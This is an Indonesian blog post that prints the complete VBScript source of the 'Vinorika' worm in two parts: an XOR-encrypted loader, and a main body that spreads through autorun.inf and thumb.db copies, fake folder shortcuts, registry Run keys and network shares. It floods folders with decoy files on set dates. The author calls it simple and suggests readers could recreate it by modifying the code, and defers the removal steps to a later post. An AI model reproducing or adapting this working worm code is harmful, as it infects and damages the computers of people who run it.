kinG-fiLes

Virus vinorika ini aku dapat dari virologi.info .. Kalau aku pikir sih ini berbahaya juga(ya iyalah wong namanya virus)..
Keunikan virus Vinorika adalah:
1.Memanfaatkan file-file shortcut untuk pengeksekusian
2.Sedikit berbeda dengan virus vbs lain.
3.Induk-nya hampir tidak memanfaatkan file ”.vbs” (malah hanya menggunakan file ”.db” dan ”.inf” dan ”.lnk”)
4. Terenkrip!

Virus ini terbagi menjadi dua
Bagian pertama isinya sebagai berikut:

'============================
' Vinorika Go to Kediri....
' Capek dhe!!
' Kupersembahkan Sebagai permintaan maafQ bwt Vinurika Rahmania yg ada di Kediri....
' Hanya ini yang bisa Qlakukan.... tapi klo pean masih gk bisa maafin AQ ya mw gmana lgi.. he he!
'
'============================
On Error Resume Next
Dim fso, ws
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
Q=WScript.ScriptFullName
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
If status="auto" Then
sh.Explore Left(WScript.ScriptFullName,3)
Else
status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status
If fso.FolderExists(status) Then
sh.Explore status
Else
fso.CreateFolder status
sh.Explore status
End If
End If
Else
End If
Set QQ=fso.GetFile(Q)
Set Q1=QQ.OpenAsTextStream(1,0)
isiQ=Q1.Read(QQ.Size)
Q1.close
t1=InStr(1,isiQ,"Vinorika~!~2008"+" >>>",0)+18
isiQ=Right(isiQ,Len(isiQ)-t1)
hsl=""
For v=1 To Len(isiQ)
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 5)
Next
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
Set temporary=fso.OpenTextFile(tmpt,2,True,0)
temporary.Write hsl
temporary.Close
ws.Run "WScript.exe //e:VBScript "+tmpt+" """+Q+""""

’------------berakhir disini---------

Tapi jujur, kalau aku pelajari virusnya ini sebenarnya simpel, dan mungkin kita bisa membuat tiruan ulang dengan memodifikasi virus dibawah ini

Bagian kedua isinya sebagai berikut:

' Vinorika~!~
' send me an email to : Vinue_2007@yahoo.co.id
' Maafin Aq...Vinue
'=======================================================
On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")

Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
End If
if fso.fileexists(tmp+"\zvnita.ira") then
set ira=fso.getfile(tmp+"\zvnita.ira")
ira.attributes=0
ira.name="shalihah.ira"
if ira.name="shalihah.ira" then
ira.name="zvnita.ira"
set ira=fso.opentextfile(tmp+"\zvnita.ira",2,true)
else
fly=true
end if
else
set ira=fso.opentextfile(tmp+"\zvnita.ira",2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0

Set aut=fso.OpenTextFile(tmp+an,2,True,0)
isi="[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39

ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
if fso.folderexists(ltkc) then
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb") Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy docx+"\database.mdb",True
end if
regQ
Set rara=UNISKA

Hertz False
If Day(Now)3 Then rekursif docx,1 Else rekursif docx,3

call attack_net
Hertz True

Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
rekursif fldr1.Path, dp-1
Next
End If
End Sub

Sub dropf(path)
On Error Resume Next
if day(now)=17 and month(now)=1 then
rara.copy path+"\Maafin AQ Vinurika Rahmania^_^!.rtf"
for pp=1 to 100
rara.copy path+"\Maafin A_Q Vivi.." & pp & ".xls"
rara.copy path+"\MaafinQ y Uplix.." & pp & ".htm"
rara.copy path+"\Maafin Aku Vee.." & pp & ".jpg"
rara.copy path+"\Sorry Vinue.." & pp & ".mp3"
wscript.sleep 500
next
rara.copy path+"\Vinorika.rtf"
end if

g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If g11.Attributes39 Then
g11.Attributes=0
auto.Copy path+"\autorun.inf",True
end if
else
auto.Copy path+"\autorun.inf",True
end if


If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes39 Then
g12.Attributes=0
AQ.Copy path+"\Thumb.db",True
end if
else
AQ.Copy path+"\Thumb.db",True
End If

If Not fso.FileExists(path+"\Microsoft.lnk") Then
shorZvnita path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter and...","New Folder","SuratQ","Zanya Zulkarnaen","Game","Zvnita ir4","Download","DataQ","Kediri")
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders
shorZvnita path+"\"+"Shortcut to "+fldr.name+".lnk",fldr.Name
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub

Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript thumb.db """+trgt+""""
shor.save
End Sub

function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&)
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items
t= objFolder.GetDetailsOf(strFileName, 14)
if err.number>0 then
exit function
end if
rekursif t,4
Next
End function

Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub

function UNISKA()
On error resume next
x=vbcrlf
adv="Aztig Present^_^!>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An Nur:30)>>sampaikan salam maafQ bwt: Vinurika Rahmania..[@_@]>The Repvblik maker Return in Kediri 2008>vinue_2007@yahoo.co.id"
adv=replace(adv,">",x)
set vivi=fso.opentextfile(tmp+"\v.doc",2,true)
vivi.write adv
vivi.close
set UNISKA=fso.getfile(tmp+"\v.doc")
end function

Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Betapa indahnya kalian, andai berjilbab spertiQ...(Vinorika)^_^!"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end if
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript "+docx+"\database.mdb"
End Sub

Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

’----------- berakhir disini-------------

Kalau kalian cuma merename file induk virus mungkin source diatas gak mungkin bisa kalian temukan.
Morphost yang baru(Morphost Accord) mampu mendeteksi virus vinorika hanya dengan satu string..
Cara memberantasnya akan aku beritahu pada postingan selanjutnya..